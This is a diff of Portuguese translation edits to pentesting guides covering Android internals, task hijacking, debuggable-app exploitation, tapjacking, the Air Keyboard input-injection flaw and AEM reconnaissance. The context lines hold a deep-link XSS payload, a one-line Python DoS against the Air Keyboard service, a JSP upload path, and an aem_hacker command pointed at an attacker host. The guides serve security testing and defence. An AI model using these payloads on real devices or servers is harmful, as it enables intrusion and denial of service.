+Note que as aplicações android não precisam pedir todas as permissões no início, elas também podem **pedir permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
 
 Quando um app expõe funcionalidade, ele pode limitar o **acesso apenas a apps que tenham uma permissão especificada**.\
 Um elemento de permissão tem três atributos:
@@ -55,14 +55,14 @@ Uma vez que a exploração tenha funcionado, geralmente o binário Linux `su` é
 Uma vez que o binário su está configurado, outro app Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play store).
 
 > [!CAUTION]
-> Observe que o processo de rooting é muito perigoso e pode danificar severamente o dispositivo.
+> Note que o processo de rooting é muito perigoso e pode danificar severamente o dispositivo.
 
 ### ROMs
 
 É possível **substituir o SO instalando um firmware personalizado**. Fazendo isso, é possível estender a utilidade de um dispositivo antigo, contornar restrições de software ou ganhar acesso ao código Android mais recente.\
 **OmniROM** e **LineageOS** são dois dos firmwares mais populares para usar.
 
-Observe que **nem sempre é necessário fazer root no dispositivo** para instalar um firmware personalizado. **Alguns fabricantes permitem** o desbloqueio de seus bootloaders de maneira bem documentada e segura.
+Note que **nem sempre é necessário fazer root no dispositivo** para instalar um firmware personalizado. **Alguns fabricantes permitem** o desbloqueio de seus bootloaders de maneira bem documentada e segura.
 
 ### Implicações
 
@@ -89,7 +89,7 @@ Uma vez que um dispositivo é rootado, qualquer app pode solicitar acesso como r
 - assets/
 - Armazena arquivos diversos necessários pelo app, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional.
 - res/
-- Contém recursos que não são compilados em resources.arsc.
+- Contém recursos que não são compilados em resources.arsc
 
 ### **Dalvik & Smali**
 
@@ -132,7 +132,7 @@ Intenções são criadas programaticamente usando um construtor de Intenção:
 ```java
 Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
 ```
-A **Ação** da intenção declarada anteriormente é **ACTION_SEND** e o **Extra** é um **Uri** mailto (o Extra é a informação adicional que a intenção está esperando).
+A **Ação** da intenção declarada anteriormente é **ACTION_SEND** e o **Extra** é um mailto **Uri** (o Extra é a informação adicional que a intenção está esperando).
 
 Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo:
 ```xml
@@ -161,7 +161,7 @@ context.startService(intent);
 ```
 ### Pending Intents
 
-Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Para construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá realizar **qualquer ação em nome da vítima**.
+Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Para construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso poderia realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá realizar **qualquer ação em nome da vítima**.
 
 ### Broadcast Intents
 
@@ -205,7 +205,7 @@ Então, no campo de dados, você pode especificar o **host** e **path**:
 android:host="example"
 />
 ```
-Para acessá-lo pela web, é possível definir um link como:
+Para acessá-lo a partir da web, é possível definir um link como:
 ```xml
 <a href="examplescheme://example/something">click here</a>
 <a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
@@ -283,13 +283,13 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s
 ```
 ### Broadcast Receivers
 
-**Broadcast receivers** atuam como ouvintes em um sistema de mensagens, permitindo que múltiplos aplicativos respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto os receptores registrados dinamicamente também podem especificar permissões no momento do registro.
+**Broadcast receivers** atuam como ouvintes em um sistema de mensagens, permitindo que múltiplos aplicativos respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via a API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões no momento do registro.
 
-**Filtros de Intent** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja de acordo, como ajustando o comportamento em resposta a um alerta de bateria baixa.
+**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja de acordo, como ajustando o comportamento em resposta a um alerta de bateria baixa.
 
-As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante notar o risco de segurança potencial, já que qualquer aplicativo pode priorizar a si mesmo para interceptar uma transmissão.
+As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante notar o potencial risco de segurança, já que qualquer aplicativo pode priorizar a si mesmo para interceptar uma transmissão.
 
-Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código desse método pode manipular o Intent recebido, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar o Intent.
+Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intent recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intent.
 
 ### Content Provider
 
@@ -349,7 +349,7 @@ Para controlar o acesso a arquivos:
 
 ### **Verificação de Aplicativos para Segurança Aprimorada**
 
-- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários tenham aplicativos verificados quanto à segurança antes da instalação. Este **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
+- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Este **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
 
 ### **Gerenciamento de Dispositivos Móveis (MDM)**
 
@@ -424,7 +424,7 @@ Se o serviço foi compilado **com proguard**, o mapeamento deve ser adivinhado
 
 ### 5. Mapeando códigos ↔ métodos via onTransact()
 Descompile o jar/odex que implementa a interface (para stubs AOSP, verifique `/system/framework`; OEMs costumam usar `/system_ext` ou `/vendor`).
-Procure por `Stub.onTransact()` – ele contém um grande `switch(transactionCode)`:
+Procure por `Stub.onTransact()` – ele contém um enorme `switch(transactionCode)`:
 ```java
 case TRANSACTION_updateCtaAppStatus:      // 5
 data.enforceInterface(DESCRIPTOR);
@@ -446,7 +446,7 @@ throw new SecurityException("uid " + uid + " rejected");
 /* privileged code */
 }
 ```
-A ausência de tal lógica ou uma lista de UIDs privilegiados (por exemplo, `uid == 1000 /*system*/`) é um **indicador de vulnerabilidade**.
+A ausência de tal lógica ou uma lista de permissões de UIDs privilegiados (por exemplo, `uid == 1000 /*system*/`) é um **indicador de vulnerabilidade**.
 
 Estudo de caso – *MediaTek* `startMonitorProcessWithUid()` (transação **8**) executa completamente uma mensagem Netlink **sem** qualquer controle de permissão, permitindo que um aplicativo não privilegiado interaja com o módulo Netfilter do kernel e sobrecarregue o log do sistema.
 

src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md

@@ -4,7 +4,7 @@
 
 ## Tarefas, Pilha de Atividades e Atividades em Primeiro Plano
 
-No Android, uma **tarefa** é essencialmente um conjunto de atividades com as quais os usuários interagem para completar um trabalho específico, organizadas dentro de uma **pilha de atividades**. Esta pilha ordena as atividades com base em quando foram abertas, com a atividade mais recente exibida no topo como a **atividade em primeiro plano**. A qualquer momento, apenas esta atividade é visível na tela, tornando-se parte da **tarefa em primeiro plano**.
+No Android, uma **tarefa** é essencialmente um conjunto de atividades com as quais os usuários interagem para completar um trabalho específico, organizadas dentro de uma **pilha de atividades**. Esta pilha ordena as atividades com base em quando foram abertas, com a atividade mais recente exibida no topo como a **atividade em primeiro plano**. A qualquer momento, apenas esta atividade é visível na tela, tornando-a parte da **tarefa em primeiro plano**.
 
 Aqui está um resumo rápido das transições de atividades:
 
@@ -68,7 +68,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
 </activity>
 ```
 3. Assim que o usuário instala e abre o aplicativo malicioso **uma vez**, uma tarefa cuja afinidade é igual ao pacote da vítima existe (mas fica em segundo plano).
-4. Quando o aplicativo real de Caller ID é lançado, o Android reutiliza essa tarefa e traz `HackActivity` para o primeiro plano → janela de phishing/abuso de permissão.
+4. Quando o aplicativo real de Caller ID é lançado, o Android reutiliza essa tarefa e traz `HackActivity` para o primeiro plano → janela de phishing/abuso de permissões.
 
 > NOTA: A partir do **Android 11 (API 30)**, o sistema *não* coloca dois pacotes que não fazem parte do mesmo UID na mesma tarefa por padrão, mitigando essa variante específica. Versões mais antigas permanecem vulneráveis.
 
@@ -120,9 +120,9 @@ Os desenvolvedores devem:
 
 * Definir explicitamente `android:taskAffinity=""` no nível `<application>` (recomendado) **ou** dar a cada atividade uma afinidade única e privada.
 * Para telas altamente sensíveis, combine o acima com `android:launchMode="singleInstance"` ou proteções modernas [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
-* Atualizar a `targetSdkVersion` do aplicativo e impor mudanças comportamentais do **Android 11** onde as tarefas não são compartilhadas entre pacotes por padrão.
+* Atualizar a `targetSdkVersion` do aplicativo e impor mudanças comportamentais do **Android 11**, onde as tarefas não são compartilhadas entre pacotes por padrão.
 * Almejar **Android 12 (API 31) ou superior** para que o atributo obrigatório `android:exported` force os desenvolvedores a auditar cada componente acessível externamente.
-* Considerar autodefesa em tempo de execução: consultar periodicamente `ActivityTaskManager` para garantir que o pacote da sua atividade superior corresponda ao seu próprio.
+* Considerar autodefesa em tempo de execução: consultar periodicamente `ActivityTaskManager` para garantir que o pacote da sua atividade superior corresponda ao seu.
 
 ---
 

src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md

@@ -1,55 +1,55 @@
-# Exploiting a debuggeable application
+# Explorando uma aplicação debuggable
 
 {{#include ../../banners/hacktricks-training.md}}
 
-# **Bypassing root and debuggeable checks**
+# **Contornando verificações de root e debuggable**
 
 Esta seção do post é um resumo do post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
 
-## Steps to Make an Android App Debuggable and Bypass Checks
+## Passos para Tornar um App Android Debuggable e Contornar Verificações
 
-### **Making the App Debuggable**
+### **Tornando o App Debuggable**
 
 Conteúdo baseado em https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
 
-1. **Decompile the APK:**
+1. **Decompile o APK:**
 
 - Utilize a ferramenta APK-GUI para decompilar o APK.
 - No arquivo _android-manifest_, insira `android:debuggable="true"` para habilitar o modo de depuração.
 - Recompile, assine e zipalign a aplicação modificada.
 
-2. **Install the Modified Application:**
+2. **Instale a Aplicação Modificada:**
 
 - Use o comando: `adb install <application_name>`.
 
-3. **Retrieve the Package Name:**
+3. **Recupere o Nome do Pacote:**
 
-- Execute `adb shell pm list packages –3` para listar aplicativos de terceiros e encontrar o nome do pacote.
+- Execute `adb shell pm list packages –3` para listar aplicações de terceiros e encontrar o nome do pacote.
 
-4. **Set the App to Await Debugger Connection:**
+4. **Configure o App para Aguardar Conexão do Depurador:**
 
 - Comando: `adb shell am setup-debug-app –w <package_name>`.
 - **Nota:** Este comando deve ser executado toda vez antes de iniciar a aplicação para garantir que ela aguarde o depurador.
 - Para persistência, use `adb shell am setup-debug-app –w ––persistent <package_name>`.
 - Para remover todas as flags, use `adb shell am clear-debug-app <package_name>`.
 
-5. **Prepare for Debugging in Android Studio:**
+5. **Prepare-se para Depuração no Android Studio:**
 
 - Navegue no Android Studio para _File -> Open Profile or APK_.
 - Abra o APK recompilado.
 
-6. **Set Breakpoints in Key Java Files:**
+6. **Defina Breakpoints em Arquivos Java Chave:**
 - Coloque breakpoints em `MainActivity.java` (especificamente no método `onCreate`), `b.java` e `ContextWrapper.java`.
 
-### **Bypassing Checks**
+### **Contornando Verificações**
 
-A aplicação, em certos pontos, verificará se é depurável e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do aplicativo, desmarcar o bit de depuração e alterar os nomes dos binários pesquisados para contornar essas verificações.
+A aplicação, em certos pontos, verificará se é debuggable e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do app, desmarcar o bit debuggable e alterar os nomes dos binários pesquisados para contornar essas verificações.
 
-Para a verificação de depuração:
+Para a verificação debuggable:
 
-1. **Modify Flag Settings:**
-- Na seção de variáveis do console do depurador, navegue para: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
-- **Nota:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que o "Flag_debuggable" está ativo.
+1. **Modifique Configurações de Flag:**
+- Na seção de variáveis do console do depurador, navegue até: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
+- **Nota:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que a "Flag_debuggable" está ativa.
 
 ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
 
@@ -57,23 +57,23 @@ Esses passos garantem coletivamente que a aplicação possa ser depurada e que c
 
 O passo 2 envolve mudar um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.
 
-# **Exploiting a Vulnerability**
+# **Explorando uma Vulnerabilidade**
 
 Uma demonstração foi fornecida usando uma aplicação vulnerável contendo um botão e um textview. Inicialmente, a aplicação exibe "Crack Me". O objetivo é alterar a mensagem de "Try Again" para "Hacked" em tempo de execução, sem modificar o código-fonte.
 
-## **Checking for Vulnerability**
+## **Verificando a Vulnerabilidade**
 
 - A aplicação foi decompilada usando `apktool` para acessar o arquivo `AndroidManifest.xml`.
-- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que a aplicação é depurável e suscetível a exploração.
-- Vale ressaltar que o `apktool` é empregado apenas para verificar o status de depuração sem alterar nenhum código.
+- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que a aplicação é debuggable e suscetível a exploração.
+- Vale ressaltar que o `apktool` é empregado apenas para verificar o status debuggable sem alterar nenhum código.
 
-## **Preparing the Setup**
+## **Preparando o Setup**
 
-- O processo envolveu iniciar um emulador, instalar a aplicação vulnerável e usar `adb jdwp` para identificar as portas do Dalvik VM que estão ouvindo.
+- O processo envolveu iniciar um emulador, instalar a aplicação vulnerável e usar `adb jdwp` para identificar portas do Dalvik VM que estão ouvindo.
 - O JDWP (Java Debug Wire Protocol) permite a depuração de uma aplicação em execução em uma VM, expondo uma porta única.
 - O encaminhamento de porta foi necessário para depuração remota, seguido pela anexação do JDB à aplicação alvo.
 
-## **Injecting Code at Runtime**
+## **Injetando Código em Tempo de Execução**
 
 - A exploração foi realizada definindo breakpoints e controlando o fluxo da aplicação.
 - Comandos como `classes` e `methods <class_name>` foram usados para descobrir a estrutura da aplicação.
@@ -81,19 +81,19 @@ Uma demonstração foi fornecida usando uma aplicação vulnerável contendo um
 - Os comandos `locals`, `next` e `set` foram utilizados para inspecionar e modificar variáveis locais, particularmente mudando a mensagem "Try Again" para "Hacked".
 - O código modificado foi executado usando o comando `run`, alterando com sucesso a saída da aplicação em tempo real.
 
-Este exemplo demonstrou como o comportamento de uma aplicação depurável pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto da aplicação.
+Este exemplo demonstrou como o comportamento de uma aplicação debuggable pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto da aplicação.
 
 ---
 
-# 2024 – Turning **any** application into a debuggable process (CVE-2024-31317)
+# 2024 – Transformando **qualquer** aplicação em um processo debuggable (CVE-2024-31317)
 
-Mesmo que o APK alvo _não_ seja enviado com a flag `android:debuggable`, pesquisas recentes mostraram que é possível forçar **aplicações arbitrárias** a iniciar com a flag de tempo de execução `DEBUG_ENABLE_JDWP` abusando da forma como o Zygote analisa os argumentos da linha de comando.
+Mesmo que o APK alvo _não_ seja enviado com a flag `android:debuggable`, pesquisas recentes mostraram que é possível forçar **aplicações arbitrárias** a iniciar com a flag de tempo de execução `DEBUG_ENABLE_JDWP` abusando da forma como o Zygote analisa argumentos de linha de comando.
 
-*   **Vulnerability:** Validação inadequada de `--runtime-flags` fornecidos através do socket de comando do Zygote permite que um atacante que pode acessar `system_server` (por exemplo, via o shell privilegiado `adb` que possui a permissão `WRITE_SECURE_SETTINGS`) injete parâmetros extras. Quando o comando elaborado é reproduzido pelo `system_server`, o aplicativo vítima é forkado como _debuggable_ e com uma thread JDWP ouvindo. O problema é rastreado como **CVE-2024-31317** e foi corrigido no Boletim de Segurança do Android de junho de 2024.
-*   **Impact:** Acesso total de leitura/gravação ao diretório de dados privados de **qualquer** aplicativo (incluindo os privilegiados, como `com.android.settings`), roubo de tokens, bypass de MDM e, em muitos casos, um caminho direto para escalonamento de privilégios abusando de endpoints IPC exportados do processo agora depurável.
-*   **Affected versions:** Android 9 a 14 antes do nível de patch de junho de 2024.
+*   **Vulnerabilidade:** Validação inadequada de `--runtime-flags` fornecidos através do socket de comando do Zygote permite que um atacante que pode acessar `system_server` (por exemplo, via o shell privilegiado `adb` que possui a permissão `WRITE_SECURE_SETTINGS`) injetar parâmetros extras. Quando o comando elaborado é reproduzido pelo `system_server`, o aplicativo vítima é forkado como _debuggable_ e com uma thread JDWP ouvindo. O problema é rastreado como **CVE-2024-31317** e foi corrigido no Boletim de Segurança do Android de junho de 2024.
+*   **Impacto:** Acesso total de leitura/gravação ao diretório de dados privados de **qualquer** app (incluindo os privilegiados, como `com.android.settings`), roubo de tokens, contorno de MDM e, em muitos casos, um caminho direto para escalonamento de privilégios abusando de endpoints IPC exportados do processo agora debuggable.
+*   **Versões afetadas:** Android 9 a 14 antes do nível de patch de junho de 2024.
 
-## Quick PoC
+## PoC Rápido
 ```bash
 # Requires: adb shell (device must be <2024-06-01 patch-level)
 # 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag

src/mobile-pentesting/android-app-pentesting/tapjacking.md

@@ -4,12 +4,12 @@
 
 ## **Informações Básicas**
 
-**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente a aplicação vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para a aplicação vítima.\
-Na prática, isso **cega o usuário para que ele não saiba que está realmente realizando ações na aplicação vítima**.
+**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona em cima de um aplicativo vítima**. Uma vez que ele obscurece visivelmente o aplicativo vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
+Na prática, isso **cega o usuário para que ele não saiba que está realmente realizando ações no aplicativo vítima**.
 
 ### Detecção
 
-Para detectar aplicativos vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você tenha encontrado as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso ocorre porque a **aplicação maliciosa também precisará dessa permissão**.
+Para detectar aplicativos vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto do android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você tenha encontrado as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso porque o **aplicativo malicioso também precisará dessa permissão**.
 
 Você também pode verificar a versão mínima do SDK do aplicativo, checando o valor de **`android:minSdkVersion`** no arquivo **`AndroidManifest.xml`**. Se o valor for **menor que 30**, o aplicativo é vulnerável ao Tapjacking.
 
@@ -17,7 +17,7 @@ Você também pode verificar a versão mínima do SDK do aplicativo, checando o
 
 #### Android 12 (API 31,32) e superior
 
-[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 30) e superior. Portanto, mesmo que a aplicação seja vulnerável, você **não poderá explorá-la**.
+[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 30) e superior. Portanto, mesmo que o aplicativo seja vulnerável, você **não poderá explorá-lo**.
 
 #### `filterTouchesWhenObscured`
 
@@ -45,7 +45,7 @@ Siga as **instruções do README para usá-lo**.
 
 ### FloatingWindowApp
 
-Um projeto de exemplo implementando **FloatingWindowApp**, que pode ser usado para colocar sobre outras atividades para realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte construindo o apk).
+Um projeto de exemplo implementando **FloatingWindowApp**, que pode ser usado para sobrepor outras atividades para realizar um ataque de clickjacking, pode ser encontrado em [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (um pouco antigo, boa sorte construindo o apk).
 
 ### Qark
 
@@ -87,14 +87,14 @@ wm.addView(phishingView, lp);
 ```
 ### Fluxo de trabalho típico usado por Trojans bancários
 * Consultar pacotes instalados (`QUERY_ALL_PACKAGES`) para descobrir qual aplicativo bancário / de carteira está atualmente aberto.
-* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente esse aplicativo específico (Logo, cores, strings i18n…).
+* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente aquele aplicativo específico (Logo, cores, strings i18n…).
 * Exibir a sobreposição, coletar credenciais/PIN/padrão.
 * Usar a **API de Acessibilidade** (`performGlobalAction`, `GestureDescription`) para automatizar transferências em segundo plano.
 
 ### Detecção e Mitigação
 * Auditar a lista de aplicativos instalados com `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
 * Do lado do aplicativo (banco / carteira):
-- Habilitar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
+- Ativar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
 - Combinar com `setFilterTouchesWhenObscured(true)` e `FLAG_SECURE`.
 * Dureza do sistema:
 - Desativar *Instalar de Fontes Desconhecidas* e *Acessibilidade para aplicativos não confiáveis*.

src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

@@ -1,4 +1,4 @@
-# Air Keyboard Remote Input Injection (Escuta TCP / WebSocket não autenticada)
+# Injeção de Entrada Remota do Air Keyboard (Listener TCP / WebSocket Não Autenticado)
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,11 +6,11 @@
 
 A versão iOS do aplicativo comercial **“Air Keyboard”** (ID da App Store 6463187929) expõe um serviço de rede local que **aceita quadros de teclas sem qualquer autenticação ou verificação de origem**. Dependendo da versão instalada, o serviço é:
 
-* **≤ 1.0.4**  – escuta TCP bruta na **porta 8888** que espera um cabeçalho de comprimento de 2 bytes seguido por um *device-id* e o payload ASCII.
-* **≥ 1.0.5 (junho de 2025)**  – escuta **WebSocket** na *mesma* porta (**8888**) que analisa chaves **JSON** como `{"type":1,"text":"…"}`.
+* **≤ 1.0.4**  – listener TCP bruto na **porta 8888** que espera um cabeçalho de comprimento de 2 bytes seguido por um *device-id* e o payload ASCII.
+* **≥ 1.0.5 (junho de 2025)**  – listener **WebSocket** na *mesma* porta (**8888**) que analisa chaves **JSON** como `{"type":1,"text":"…"}`.
 
 Qualquer dispositivo na mesma rede Wi-Fi / sub-rede pode, portanto, **injetar entrada de teclado arbitrária no telefone da vítima, conseguindo uma completa tomada de controle remoto**.
-Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado ainda causa uma **exceção não tratada dentro do OpenSSL**, derrubando o serviço em segundo plano (**DoS**).
+Uma versão companion para Android escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado ainda causa uma **exceção não tratada dentro do OpenSSL**, derrubando o serviço em segundo plano (**DoS**).
 
 > A vulnerabilidade está **ainda sem correção no momento da escrita (julho de 2025)** e o aplicativo continua disponível na App Store.
 
@@ -39,7 +39,7 @@ Em **iOS com jailbreak** você pode fazer algo semelhante com `lsof -i -nP | gre
 
 ## 2. Detalhes do Protocolo (iOS)
 
-### 2.1  Legado (≤ 1.0.4) – quadros binários personalizados
+### 2.1 Legado (≤ 1.0.4) – quadros binários personalizados
 ```
 [length (2 bytes little-endian)]
 [device_id (1 byte)]
@@ -60,7 +60,7 @@ A versão 1.0.5 migrou silenciosamente para WebSockets enquanto mantinha o núme
 "selectionEnd": 0
 }
 ```
-Nenhum handshake, token ou assinatura é necessário – o primeiro objeto JSON já aciona o evento da interface.
+Nenhum handshake, token ou assinatura é necessário – o primeiro objeto JSON já aciona o evento da interface do usuário.
 
 ---
 
@@ -108,7 +108,7 @@ print("[+] URL opened on target browser")
 
 ## 4. Android Companion – Negação de Serviço
 
-A porta Android (55535) espera uma **senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, terminando a thread do listener. Portanto, um único pacote malformado é suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
+A porta Android (55535) espera uma **senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, encerrando a thread do listener. Portanto, um único pacote malformado é suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
 ```python
 import socket
 socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
@@ -119,7 +119,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
 
 Air Keyboard **não é um caso isolado**. Outros utilitários móveis de “teclado/mouse remoto” foram lançados com a mesma falha:
 
-* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 permite execução de comandos não autenticados e registro de teclas em texto simples.
+* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 permitem execução de comandos não autenticados e registro de teclas em texto simples.
 * **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE não autenticado & espionagem de tráfego.
 * **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 sem senha padrão, força bruta de PIN fraco e vazamento em texto claro.
 
@@ -142,7 +142,7 @@ Recomendações para desenvolvedores:
 * Vincule o listener a **`127.0.0.1`** e use túnel sobre **mTLS** ou **Noise XX** se controle remoto for necessário.
 * Derive **segredos por dispositivo durante o onboarding** (por exemplo, código QR ou PIN de emparelhamento) e imponha autenticação *mútua* antes de processar a entrada.
 * Adote **Apple Network Framework** com *NWListener* + TLS em vez de sockets brutos.
-* Implemente **verificações de sanidade de prefixo de comprimento** e tratamento estruturado de exceções ao descriptografar ou decodificar quadros.
+* Implemente **verificações de sanidade de prefixo de comprimento** e tratamento de exceções estruturadas ao descriptografar ou decodificar quadros.
 
 Vitórias rápidas para Blue-/Red-Team:
 

src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md

@@ -17,9 +17,9 @@ X-Dispatcher: hu1            # header added by AEM Dispatcher
 X-Vary: Accept-Encoding
 ```
 Outros indicadores rápidos:
-* `/etc.clientlibs/` caminho estático presente (retorna JS/CSS).
-* `/libs/granite/core/content/login.html` página de login com o banner “Adobe Experience Manager”.
-* `</script><!--/* CQ */-->` comentário na parte inferior do HTML.
+* O caminho estático `/etc.clientlibs/` presente (retorna JS/CSS).
+* A página de login em `/libs/granite/core/content/login.html` com o banner “Adobe Experience Manager”.
+* O comentário `</script><!--/* CQ */-->` no final do HTML.
 
 ---
 
@@ -27,7 +27,7 @@ Outros indicadores rápidos:
 
 Caminho | O que você obtém | Notas
 ---- | ------------- | -----
-`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas *Dispatcher bypass* (veja abaixo) funciona.
+`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas o *Dispatcher bypass* (veja abaixo) funciona.
 `/bin/querybuilder.json?path=/` | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários.
 `/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote.
 `/crx/packmgr/index.jsp` | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP.
@@ -97,7 +97,7 @@ Agora solicite `/content/evil.jsp` – o JSP é executado com o usuário do proc
 ```bash
 python3 aem_hacker.py -u https://target --host attacker-ip
 ```【】
-* **Força bruta de conteúdo** – solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos.
+* **Força bruta de Conteúdo** – solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos.
